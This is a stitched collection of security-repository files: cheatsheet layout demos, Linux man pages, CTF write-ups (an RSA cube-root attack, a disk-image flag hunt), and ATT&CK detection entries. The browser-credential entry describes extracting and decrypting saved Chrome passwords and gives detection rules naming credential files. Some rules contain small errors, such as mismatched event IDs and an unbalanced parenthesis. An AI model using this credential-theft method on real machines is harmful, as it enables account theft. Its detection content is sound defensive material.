╰┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╯
╭┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈╮
┆ 3 ┆ ┆ 4 ┆ ┆ 5 ┆
╰┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈╯
```
-----------
```markdown
### 1
### 2 {.col-span-2}
### 3
### 4
### 5
```
#### The fourth card spans two columns
```markdown
╭┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈╮
┆ 1 ┆ ┆ 2 ┆ ┆ 3 ┆
╰┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈╯
╭┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈╮
┆ 4 ┆ ┆ 5 ┆
╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈╯
```
-----------
```markdown
### 1
### 2
### 3
### 4 {.col-span-2}
### 5
```
### .row-span-2 {.row-span-2}
#### The first card spans two rows
```markdown
╭┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈╮
┆ 1 ┆ ┆ 2 ┆ ┆ 3 ┆
┆ ┆ ╰┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈╯
┆ ┆ ╭┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈╮
┆ ┆ ┆ 4 ┆ ┆ 5 ┆
╰┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈╯
```
----------
```markdown
### 1 {.row-span-2}
### 2
### 3
### 4
### 5
```
#### The second card spans two rows
```markdown
╭┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈╮
┆ 1 ┆ ┆ 2 ┆ ┆ 3 ┆
╰┈┈┈┈┈┈┈┈┈╯ ┆ ┆ ╰┈┈┈┈┈┈┈┈┈╯
╭┈┈┈┈┈┈┈┈┈╮ ┆ ┆ ╭┈┈┈┈┈┈┈┈┈╮
┆ 4 ┆ ┆ ┆ ┆ 5 ┆
╰┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈╯
```
---------
```markdown
### 1
### 2 {.row-span-2}
### 3
### 4
### 5
```
#### The third card spans two rows
```markdown
╭┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈╮
┆ 1 ┆ ┆ 2 ┆ ┆ 3 ┆
╰┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈╯ ┆ ┆
╭┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈╮ ┆ ┆
┆ 4 ┆ ┆ 5 ┆ ┆ ┆
╰┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈╯
```
-----------
```markdown
### 1
### 2
### 3 {.row-span-2}
### 4
### 5
```
### .col-span-2 .row-span-2
```markdown
╭┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈╮
┆ 1 ┆ ┆ 2 ┆
┆ ┆ ╰┈┈┈┈┈┈┈┈┈╯
┆ ┆ ╭┈┈┈┈┈┈┈┈┈╮
┆ ┆ ┆ 3 ┆
╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈╯
╭┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈╮
┆ 4 ┆ ┆ 5 ┆ ┆ 6 ┆
╰┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈╯ ╰┈┈┈┈┈┈┈┈┈╯
```
#### ↓ Source Code
```markdown
### 1 {.col-span-2 .row-span-2}
### 2
### 3
### 4
### 5
```
Spans rows and columns at the same time
Table Variants
--------------------
### Table Overview {.secondary}
| - | - |
|------------------|------------------------------|
| `{.show-header}` | Show the header of the table |
| `{.shortcuts}` | Render shortcut key style |
| `{.bold-first}` | Bold first column |
| `{.plus-first}` | Plus first column |
| `{.show-header}` | Show headers |
| `{.left-text}` | Align the last column left |
| `{.no-wrap}` | Don't wrap text |
### Basic table
| Pattern | Description |
|----------|------------------------|
| `[abc]` | Match a, b or c |
| `[^abc]` | Match except a, b or c |
| `[a-z]` | Match a to z |
#### ↓ Source Code
```markdown
| Pattern | Description |
|----------|------------------------|
| `[abc]` | Match a, b or c |
| `[^abc]` | Match except a, b or c |
| `[a-z]` | Match a to z |
```
### .shortcuts
| - | - |
|-------------|------------|
| `Ctrl` `N` | New File |
| `Ctrl` `S` | Save |
{.shortcuts}
#### ↓ Source Code
```markdown
| - | - |
|-------------|------------|
| `Ctrl` `N` | New File |
| `Ctrl` `S` | Save |
{.shortcuts}
```
### .show-header
| Pattern | Description |
|----------|------------------------|
| `[abc]` | Match a, b or c |
| `[^abc]` | Match except a, b or c |
| `[a-z]` | Match a to z |
{.show-header}
#### ↓ Source Code
```markdown
| Pattern | Description |
|----------|------------------------|
| `[abc]` | Match a, b or c |
| `[^abc]` | Match except a, b or c |
| `[a-z]` | Match a to z |
{.show-header}
```
### .left-text
| Pattern | Description |
|----------|------------------------|
| `[abc]` | Match a, b or c |
| `[^abc]` | Match except a, b or c |
| `[a-z]` | Match a to z |
{.left-text}
#### ↓ Source Code
```markdown
| Pattern | Description |
|----------|------------------------|
| `[abc]` | Match a, b or c |
| `[^abc]` | Match except a, b or c |
| `[a-z]` | Match a to z |
{.left-text}
```
### .bold-first
| Pattern | Description |
|----------|------------------------|
| `[abc]` | Match a, b or c |
| `[^abc]` | Match except a, b or c |
| `[a-z]` | Match a to z |
{.bold-first}
#### ↓ Source Code
```markdown
| Pattern | Description |
|----------|------------------------|
| `[abc]` | Match a, b or c |
| `[^abc]` | Match except a, b or c |
| `[a-z]` | Match a to z |
{.bold-first}
```
List Variants
--------------------
### List Overview {.secondary}
List columns
| - | - |
|-------------|------------------------|
| `{.cols-1}` | one column _(default)_ |
| `{.cols-2}` | two columns |
| ... | |
| `{.cols-6}` | |
List markers
| - | - |
|------------|------------------------|
| `{.marker-none}` | Marker is not set |
| `{.marker-timeline}` | Marker style like timeline |
| `{.marker-round}` | Round marker |
### One Column (Default)
- Share quick reference.
- cheat sheet for developers.
- Contributed by open source angels.
- Manage your code snippets.
#### ↓ Source Code
```markdown
- Share quick reference.
- cheat sheet for developers.
- Contributed by open source angels.
- Manage your code snippets.
```
### .cols-3
- Share
- Quick
- Reference
- And
- Cheat Sheet
- For
- Developers
{.cols-3}
#### ↓ Source Code
```markdown
- Share
- Quick
- Reference
- And
- Cheat Sheet
- For
- Developers
{.cols-3}
```
### .marker-timeline {.row-span-2}
- **Renamed** to `new_name`
```shell script
$ git branch -m <new_name>
```
- **Push** and reset
```shell script
$ git push origin -u <new_name>
```
- **Delete** remote branch
```shell script
$ git push origin --delete <old>
```
{.marker-timeline}
#### ↓ Source Code
```markdown
- **Renamed** to `new_name`
```shell script
$ git branch -m <new_name>
```
- **Push** and reset
```shell script
$ git push origin -u <new_name>
```
- **Delete** remote branch
```shell script
$ git push origin --delete <old>
```
{.marker-timeline}
```
### .marker-none
- Share
- Quick
- Reference
- And
- Cheat Sheet
{.cols-2 .marker-none}
#### ↓ Source Code
```markdown
- Share
- Quick
- Reference
- And
- Cheat Sheet
{.cols-2 .marker-none}
```
### .marker-round
- Share
- Quick
- Reference
{.marker-round}
#### ↓ Source Code
```markdown
- Share
- Quick
- Reference
{.marker-round}
```
Code Variants
--------------------
### Basic code
```js
quickref.me.is(() => {
awesome.site()
})
```
```js
here.is.some.more()
```
#### ↓ Source Code
```markdown
```js
quickref.me.is(() => {
awesome.site()
})
\```
```js
here.is.some.more()
\```
```
Code blocks can be placed one after the other.
### Code with headings
#### index.js
```js
quickref.me.is(() => {
awesome.site()
})
```
#### other.js
```js
here.is.some.more()
```
#### ↓ Source Code
```markdown
#### index.js
```js
quickref.me.is(() => {
awesome.site()
})
\```
#### other.js
```js
here.is.some.more()
\```
```
Code blocks can have headings.
### Line wrapping
```js {.wrap}
<script>(function(d,s){if(window.Promise&&[].includes&&Object.assign&&window.Map)return;var js,sc=d.getElementsByTagName(s)[0];js=d.createElement(s);js.src='https://cdn.polyfill.io/v2/polyfill.min.js';sc.parentNode.insertBefore(js, sc);}(document,'script'))</script>
```
#### ↓ Source Code
```markdown {.wrap}
```js {.wrap}
<script>(function(d,s){if(window.Promise&&[].includes&&Object.assign&&window.Map)return;var js,sc=d.getElementsByTagName(s)[0];js=d.createElement(s);js.src='https://cdn.polyfill.io/v2/polyfill.min.js';sc.parentNode.insertBefore(js, sc);}(document,'script'))</script>
\```
```
Add `{.wrap}` to wrap long lines.
### Long lines (default)
```js
function createNode(nodeName: string, options: { key: string }) {
return true
}
```
Long lines will have scrollbars.
Paragraph Variants
--------------------
### Header paragraphs
The text that appears in the header
#### ↓ Source Code
```markdown {.wrap}
### Basic paragraphs
The text that appears in the header
```
### Middle paragraphs {.row-span-2}
- This is a list
This paragraph will appear in the middle
```js
quickref.is(() => {
awesome.site()
})
```
#### ↓ Source Code
```markdown
### Middle paragraphs
- This is a list
This paragraph will appear in the middle
```js
quickref.is(() => {
awesome.site()
})
\```
```
### Footer paragraphs {.row-span-2}
```js
quickref.is(() => {
awesome.site()
})
```
#### ↓ Source Code
```markdown
```js
quickref.is(() => {
awesome.site()
})
\```
This paragraph will appear in the footer
```
This paragraph will appear in the footer
### Crosslink
Add `{.link-arrow}` to make big loud external links:
```js
[Home](/) {.link-arrow}
```
[Home](/) {.link-arrow}
Cards Example
--------------------
### row-span-2 {.row-span-2}
```
1
```
### col-span-2 {.col-span-2}
```
2
```
### Primary Card {.primary}
```
3
```
Add `{.primary}` to make the title red.
### Secondary Card {.secondary}
```
4
```
Add `{.secondary}` to make the title yellow.
### col-span-3 {.col-span-3}
```
5
```
|
sec-knowleage
|
# miniforge
- https://github.com/conda-forge/miniforge
---
**安装 miniforge**
```bash
wget https://github.com/conda-forge/miniforge/releases/latest/download/Miniforge3-MacOSX-arm64.sh
mv Miniforge3-MacOSX-arm64.sh ~/
cd
bash Miniforge3-MacOSX-arm64.sh
```
```bash
source .zshrc
conda --version # 测试一下conda是否安装完成
```
**创建一个 Conda 虚拟环境**
```bash
# 用Python 3.9创建一个名为 f0x 的虚拟环境
conda create -n f0x python=3.9
# 查看所有环境
conda info --envs
# 激活虚拟环境
conda activate f0x
# 安装库
conda install jupyter
```
**配置镜像源**
```bash
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge/
conda config --set show_channel_urls yes
conda update --all
```
|
sec-knowleage
|
# T1071-002-win-内网FTP链接到公网行为
## 来自ATT&CK的描述
攻击者可以使用与传输文件关联的应用程序层协议进行通信,以免与现有流量混在一起进行检测网络过滤。远程系统的命令(通常是这些命令的结果)将嵌入在客户端和服务器之间的协议流量中。
传输文件的协议(例如FTP,FTPS和TFTP)在环境中可能很常见。从这些协议产生的数据包可能具有许多字段和标头,可以在其中隐藏数据。数据也可以隐藏在传输的文件中。攻击者可能会滥用这些协议以与受害网络中受其控制的系统进行通信,同时还会模仿正常的预期流量。
## 测试案例
检测可能使用FTP网络连接到Internet的事件。自1980年代以来,文件传输协议(FTP)一直以其当前形式出现。在网络上发送和接收文件可能是常见且有效的过程。因此,攻击者还经常使用此协议从您的网络中窃取数据或下载新工具。此外,FTP是纯文本协议,如果被拦截,则可能会公开用户名和密码。
## 检测日志
network
## 测试复现
暂无
## 测试留痕
暂无,仅提供检测规则相关的日志示例
## 检测规则/思路
### sigma规则
```yml
title: 检测内网FTP链接到公网行为
description: 通过NETWORK检测内网FTP链接到公网行为
tags: T1071.002
status: experimental
references:
- https://www.elastic.co/guide/en/siem/guide/current/ftp-file-transfer-protocol-activity-to-the-internet.html#ftp-file-transfer-protocol-activity-to-the-internet
logsource:
product: network
detection:
selection1:
Type: tcp
destination.port:
- 21
- 20
selection2:
source.ip:
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
selection3:
destination.ip:
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
condition: (selection1 and selection2) and not selection3)
level: low
```
### Elastic rule query
```yml
network.transport: tcp and destination.port: (20 or 21) and (
network.direction: outbound or ( source.ip: (10.0.0.0/8 or
172.16.0.0/12 or 192.168.0.0/16) and not destination.ip: (10.0.0.0/8
or 172.16.0.0/12 or 192.168.0.0/16) ) )
```
### 建议
规则未经线上测试,谨慎使用,但是我相信它能够很好的帮助你发现网内的威胁。
## 参考推荐
MITRE-ATT&CK-T1071-002
<https://attack.mitre.org/techniques/T1071/002/>
检测内网FTP链接到公网行为
<https://www.elastic.co/guide/en/siem/guide/current/ftp-file-transfer-protocol-activity-to-the-internet.html#ftp-file-transfer-protocol-activity-to-the-internet>
|
sec-knowleage
|
strings
===
在对象文件或二进制文件中查找可打印的字符串
## 补充说明
**strings命令** 在对象文件或二进制文件中查找可打印的字符串。字符串是4个或更多可打印字符的任意序列,以换行符或空字符结束。 strings命令对识别随机对象文件很有用。
### 语法
```shell
strings [ -a ] [ - ] [ -o ] [ -t Format ] [ -n Number ] [ -Number ] [file ... ]
```
### 选项
```shell
-a --all:扫描整个文件而不是只扫描目标文件初始化和装载段
-f –print-file-name:在显示字符串前先显示文件名
-n –bytes=[number]:找到并且输出所有NUL终止符序列
- :设置显示的最少的字符数,默认是4个字符
-t --radix={o,d,x} :输出字符的位置,基于八进制,十进制或者十六进制
-o :类似--radix=o
-T --target= :指定二进制文件格式
-e --encoding={s,S,b,l,B,L} :选择字符大小和排列顺序:s = 7-bit, S = 8-bit, {b,l} = 16-bit, {B,L} = 32-bit
@ :读取中选项
```
### 实例
列出ls中所有的ASCII文本:
```shell
strings /bin/ls
```
列出ls中所有的ASCII文本:
```shell
cat /bin/ls strings
```
查找ls中包含libc的字符串,不区分大小写:
```shell
strings /bin/ls | grep -i libc
```
|
sec-knowleage
|
uptime
===
查看Linux系统负载信息
## 补充说明
**uptime命令** 能够打印系统总共运行了多长时间和系统的平均负载。uptime命令可以显示的信息显示依次为:现在时间、系统已经运行了多长时间、目前有多少登陆用户、系统在过去的1分钟、5分钟和15分钟内的平均负载。
### 语法
```shell
uptime(选项)
```
### 选项
```shell
-V:显示指令的版本信息。
```
### 实例
使用uptime命令查看系统负载:
```shell
[root@LinServ-1 ~]# uptime -V #显示uptime命令版本信息
procps version 3.2.7
[root@LinServ-1 ~]# uptime
15:31:30 up 127 days, 3:00, 1 user, load average: 0.00, 0.00, 0.00
```
**显示内容说明:**
```shell
15:31:30 # 系统当前时间
up 127 days, 3:00 # 主机已运行时间,时间越大,说明你的机器越稳定。
1 user # 用户连接数,是总连接数而不是用户数
load average: 0.00, 0.00, 0.00 # 系统平均负载,统计最近1,5,15分钟的系统平均负载
```
那么什么是系统平均负载呢? 系统平均负载是指在特定时间间隔内运行队列中的平均进程数。
如果每个CPU内核的当前活动进程数不大于3的话,那么系统的性能是良好的。如果每个CPU内核的任务数大于5,那么这台机器的性能有严重问题。
如果你的linux主机是1个双核CPU的话,当Load Average 为6的时候说明机器已经被充分使用了。
|
sec-knowleage
|
'\" t
.TH "SYSTEMD\-PATH" "1" "" "systemd 231" "systemd-path"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
systemd-path \- 列出各种系统路径与用户路径
.SH "SYNOPSIS"
.HP \w'\fBsystemd\-path\ \fR\fB[OPTIONS...]\fR\fB\ \fR\fB[NAME...]\fR\ 'u
\fBsystemd\-path \fR\fB[OPTIONS...]\fR\fB \fR\fB[NAME...]\fR
.SH "描述"
.PP
\fBsystemd\-path\fR
用于列出各种系统路径与用户路径。
\fBfile-hierarchy\fR(7)
中对各种路径的用途有详细的说明。
.PP
当未指定任何
[NAME...]
参数的时候,将会列出各种用途的路径的当前值。 当指定了至少一个
[NAME...]
参数的时候, 将仅显示指定用途的路径的当前值。 注意,那些名称以
"search\-"
开头的用途, 并不对应着一个单独的路径,而是对应着一组冒号分隔的搜索路径列表, 列表中路径的顺序也是路径的搜索顺序。
.SH "选项"
.PP
能够识别的命令行选项如下:
.PP
\fB\-\-suffix=\fR
.RS 4
在所有路径的末尾加上 指定的后缀字符串。
.RE
.PP
\fB\-h\fR, \fB\-\-help\fR
.RS 4
显示简短的帮助信息并退出。
.RE
.PP
\fB\-\-version\fR
.RS 4
显示简短的版本信息并退出。
.RE
.SH "退出状态"
.PP
返回值为 0 表示成功, 非零返回值表示失败代码。
.SH "参见"
.PP
\fBsystemd\fR(1),
\fBfile-hierarchy\fR(7)
.\" manpages-zh translator: 金步国
.\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
|
sec-knowleage
|
# 蓝队概览
## 蓝队构成
参考《解密彩虹团队非凡实战能力:企业安全体系建设》,范渊。
- 威胁猎人
- 主要负责高级威胁研究和分析,以及对尚未成功检测到的对手及其行为进行威胁狩猎
- 威胁分析师
- 主要负责NIDS、HIDS和SIEM等安全检测、安全事件管理系统的规则开发,以及告警分析、网络流量分析、漏洞评估、风险评估
- 威胁情报分析师
- 主要负责追踪和分析外部已知/未知的威胁行为者的活动。进行深网、暗网监控,开源情报收集(OSINT)、挖掘,并且最后分类总结成TTP、IOCs提供给其他团队进行利用、深层分析
- 注:威胁行为者,Threat Actor,指影响某一实体的安全、所保障事件的个人或实体,即各种组织和执行恶意行为的个人和团体
- 病毒分析师
- 主要负责对安全事件中的恶意软件进行动态和静态分析,分析其功能、威胁行为及目标,提取IOCs及TTPs
<img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20210312092543235.png" alt="image-20210312092543235" style="zoom:33%;" />
图:蓝队构成
|
sec-knowleage
|
# T1555-003-windows-来自web浏览器的凭证
## 来自ATT&CK的描述
在后渗透阶段,获得权限之后攻击者需要收集目标系统上的相关信息,收集的信息越全面详细,对攻击者的进一步渗透帮助更大。对于windows系统来讲,用户浏览器往往包含着有价值的信息。
攻击者可以通过读取特定目标服务器上的浏览器文件来从Web浏览器获取凭据。
Web浏览器通常会保存凭据,例如网站用户名和密码,以便将来无需手动输入它们,实现自动登录。Web浏览器通常将凭据以加密格式存储在凭据存储区中。但是,存在从Web浏览器中提取纯文本凭据的方法。
例如,在Windows系统上,可以通过读取数据库文件AppData\Local\Google\Chrome\User Data\Default\Login Data并执行SQL查询来从Google Chrome获得加密的凭据SELECT action_url, username_value, password_value FROM logins;。然后,可以通过将加密的凭据传递给Windows API函数来获取纯文本密码CryptUnprotectData,该函数使用受害者的缓存登录凭据作为解密密钥。
攻击者可以对常见的Web浏览器(例如FireFox,Chrome,Edge等)执行了类似的程序。除此之外,攻击者还可以通过在Web浏览器进程内存中搜索,通常与凭据匹配的模式来获取凭据。从网络浏览器获取凭据后,攻击者可能会尝试在不同系统或帐户之间回收凭据,以扩大访问范围。在从Web浏览器获得的凭据与特权帐户(例如域管理员)重叠的情况下,这可以大大缩短攻击者的攻击时间。
不同的浏览器,默认缓存存储的位置不同。
- Chrome默认账户密码凭据存放位置:`%LocalAppData%\Google\Chrome\User Data\Default\Login Data`
- Firefox默认账户密码凭据存放位置:`key3.db和logins.json文件均位于%APPDATA%\Mozilla\Firefox\Profiles\[random_profile]目录下`
- Opera默认账户密码凭据存放位置:`C:\Users\***\AppData\Local\Opera Software\Opera Stable(其中***为系统用户名)`
## 测试案例
暂无,msf可进行相关测试
## 检测日志
windows 安全日志
## 测试复现
## 测试留痕
windows 安全日志 事件ID:4633
值得注意的是:正常情况下不会有用户选择导出web浏览器缓存凭据。当网内出现此类告警事件,值得引起安全人员的警惕!
此事件ID只有2016以上版本系统存在。
## 检测规则/思路
### sigma规则
```yml
title: windows系统 web浏览器获取凭证
description: windows server 2016 测试结果
references: 暂无
tags: T1555-003
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection:
EventID: 4663 #试图访问对象。
Objectserver: Security #对象>对象服务器
Objecttype: file #对象>对象类型
Objectname:
- 'C:\users\*\appdata\roaming\opera software\opera stable\login data' #对象>对象名 Opera
- 'C:\Users\IEUser\AppData\Roaming\Mozilla\Firefox\Profiles\kushu3sd.default\key4.db' #Firefox
- 'C:\Users\IEUser\AppData\Roaming\Mozilla\Firefox\Profiles\kushu3sd.default\logins.json' #Firefox
- 'C:\Users\IEUser\AppData\Local\Google\Chrome\User Data\Default\Login Data' #Chrome
Access: ReadData (或listdirectory) #访问请求信息>访问
condition: selection
level: medium
```
### 建议
规则未经过实际测试,谨慎使用
## 相关TIP
[[T1555-005-win-常见凭据存放位置]]
[[T1555-005-win-cmdkey获取凭据(白名单)]]
## 参考推荐
MITRE-ATT&CK-T1555-003
<https://attack.mitre.org/techniques/T1555/003/>
如何窃取和解密远程存储在Chrome和Firefox中的密码
<https://null-byte.wonderhowto.com/how-to/hacking-windows-10-steal-decrypt-passwords-stored-chrome-firefox-remotely-0183600/>
|
sec-knowleage
|
# Buenos Aires - Conference
Category: Crypto
## Description
> You are showing the invitation so that you can enter the conference. There are hundreds of important looking people at the conference. You take a glass of champagne from a tray, and try to look important yourself. After being busy with trying to look important for a few minutes, you approach the person that you are here to get classified information from. He introduces himself as Dr. Nowak Wasilewski. Nowak asks who you are, and if you can prove your knowledge through a test that he has designed by himself.
>
> Challenge: ReadySetAction (crypto)
>
> Apparently this script was used to encrypt super secret messages. Maybe there is something interesting in it
```python
from Crypto.Util.number import *
flag = b"REDACTED"
p = getPrime(1024)
q = getPrime(1024)
n = p*q
m = bytes_to_long(flag)
c = pow(m,3,n)
print(c)
print(n)
#15478048932253023588842854432571029804744949209594765981036255304813254166907810390192307350179797882093083784426352342087386691689161026226569013804504365566204100805862352164561719654280948792015789195399733700259059935680481573899984998394415788262265875692091207614378805150701529546742392550951341185298005693491963903543935069284550225309898331197615201102487312122192298599020216776805409980803971858120342903012970709061841713605643921523217733499022158425449427449899738610289476607420350484142468536513735888550288469210058284022654492024363192602734200593501660208945967931790414578623472262181672206606709
#21034814455172467787319632067588541051616978031477984909593707891829600195022041640200088624987623056713604514239406145871910044808006741636513624835862657042742260288941962019533183418661144639940608960169440421588092324928046033370735375447302576018460809597788053566456538713152022888984084306297869362373871810139948930387868426850576062496427583397660227337178607544043400076287217521751017970956067448273578322298078706011759257235310210160153287198740097954054080553667336498134630979908988858940173520975701311654172499116958019179004876438417238730801165613806576140914402525031242813240005791376093215124477
```
## Solution
This is RSA with a small exponent (3), we'll use the following script (recycled from [PicoCTF](https://github.com/Dvd848/CTFs/blob/master/2021_picoCTF/Mini_RSA.md)) to attack it:
```python
import gmpy2
n = 21034814455172467787319632067588541051616978031477984909593707891829600195022041640200088624987623056713604514239406145871910044808006741636513624835862657042742260288941962019533183418661144639940608960169440421588092324928046033370735375447302576018460809597788053566456538713152022888984084306297869362373871810139948930387868426850576062496427583397660227337178607544043400076287217521751017970956067448273578322298078706011759257235310210160153287198740097954054080553667336498134630979908988858940173520975701311654172499116958019179004876438417238730801165613806576140914402525031242813240005791376093215124477
e = 3
c = 15478048932253023588842854432571029804744949209594765981036255304813254166907810390192307350179797882093083784426352342087386691689161026226569013804504365566204100805862352164561719654280948792015789195399733700259059935680481573899984998394415788262265875692091207614378805150701529546742392550951341185298005693491963903543935069284550225309898331197615201102487312122192298599020216776805409980803971858120342903012970709061841713605643921523217733499022158425449427449899738610289476607420350484142468536513735888550288469210058284022654492024363192602734200593501660208945967931790414578623472262181672206606709
for i in range(10000):
m, is_true_root = gmpy2.iroot(i*n + c, e)
if is_true_root:
print(f"Found i = {i}")
print("Message: {}".format(bytearray.fromhex(format(m, 'x')).decode()))
break
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/google/7_Buenos_Aires_-_Conference]
└─$ python3 solve.py
Found i = 1831
Message: CTF{34sy_RS4_1s_e4sy_us3}
```
|
sec-knowleage
|
# 计算机网络 - 物理层
<!-- GFM-TOC -->
* [计算机网络 - 物理层](#计算机网络---物理层)
* [通信方式](#通信方式)
* [带通调制](#带通调制)
<!-- GFM-TOC -->
## 通信方式
根据信息在传输线上的传送方向,分为以下三种通信方式:
- 单工通信:单向传输
- 半双工通信:双向交替传输
- 全双工通信:双向同时传输
## 带通调制
模拟信号是连续的信号,数字信号是离散的信号。带通调制把数字信号转换为模拟信号。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/c34f4503-f62c-4043-9dc6-3e03288657df.jpg" width="500"/> </div><br>
|
sec-knowleage
|
protoize
===
GNU-C代码转换为ANSI-C代码
## 补充说明
**protoize命令** 属于gcc套件,用于为C语言源代码文件添加函数原型,将GNU-C代码转换为ANSI-C代码。
### 语法
```shell
protoize(选项)(参数)
```
### 选项
```shell
-d:设置需要转换代码的目录;
-x:转换代码时排除的文件。
```
### 参数
文件:需要转换代码的C语言源文件。
|
sec-knowleage
|
# Pitter, Patter, Platters
Category: Forensics
## Description
> 'Suspicious' is written all over this disk image.
A binary file was attached.
## Solution
Let's check what's the file we got:
```console
root@kali:/media/sf_CTFs/pico/Pitter_Patter_Platters# file suspicious.dd.sda1
suspicious.dd.sda1: Linux rev 1.0 ext3 filesystem data, UUID=fc168af0-183b-4e53-bdf3-9c1055413b40 (needs journal recovery)
```
We can check the file system contents with `fls`:
```console
root@kali:/media/sf_CTFs/pico/Pitter_Patter_Platters# fls suspicious.dd.sda1
d/d 11: lost+found
d/d 2009: boot
d/d 4017: tce
r/r 12: suspicious-file.txt
V/V 8033: $OrphanFiles
```
Let's check the contents of the suspicious file with `icat`:
```console
root@kali:/media/sf_CTFs/pico/Pitter_Patter_Platters# icat suspicious.dd.sda1 12
Nothing to see here! But you may want to look here -->
```
This is where we might hit a wall for a while. Eventually, the solution is revealed by viewing the file system as a binary blob:
```console
root@kali:/media/sf_CTFs/pico/Pitter_Patter_Platters# strings -a -t x suspicious.dd.sda1 | grep "Nothing to see here! But you may want to look here"
200400 Nothing to see here! But you may want to look here -->
root@kali:/media/sf_CTFs/pico/Pitter_Patter_Platters# xxd -s 0x200400 -l 200 suspicious.dd.sda1
00200400: 4e6f 7468 696e 6720 746f 2073 6565 2068 Nothing to see h
00200410: 6572 6521 2042 7574 2079 6f75 206d 6179 ere! But you may
00200420: 2077 616e 7420 746f 206c 6f6f 6b20 6865 want to look he
00200430: 7265 202d 2d3e 0a7d 0038 0033 0034 0036 re -->.}.8.3.4.6
00200440: 0030 0063 0061 0065 005f 0033 003c 005f .0.c.a.e._.3.<._
00200450: 007c 004c 006d 005f 0031 0031 0031 0074 .|.L.m._.1.1.1.t
00200460: 0035 005f 0033 0062 007b 0046 0054 0043 .5._.3.b.{.F.T.C
00200470: 006f 0063 0069 0070 0000 0000 0000 0000 .o.c.i.p........
00200480: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00200490: 0000 0000 0000 0000 0000 0000 0000 0000 ................
002004a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
002004b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
002004c0: 0000 0000 0000 0000 ........
```
Some formatting and we get the flag:
```console
root@kali:/media/sf_CTFs/pico/Pitter_Patter_Platters# od --skip-bytes=0x200437 --read-bytes=66 suspicious.dd.sda1 --format=c --address-radix=n --width=100 | sed "s/\\\0//g" | tr -d " " | rev
picoCTF{b3_5t111_mL|_<3_eac06438}
```
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH LINK 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
link \- 调用 link 函数创建一个文件的链接
.SH 概述
\fBlink\fP \fI\,文件1 文件2\/\fP
.br
\fBlink\fP \fI\,选项\/\fP
.SH 描述
.\" Add any additional description here
.PP
调用 link 函数创建从既存的文件1到文件2的链接。
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SH 作者
由 Michael Stone 编写。
.SH 报告错误
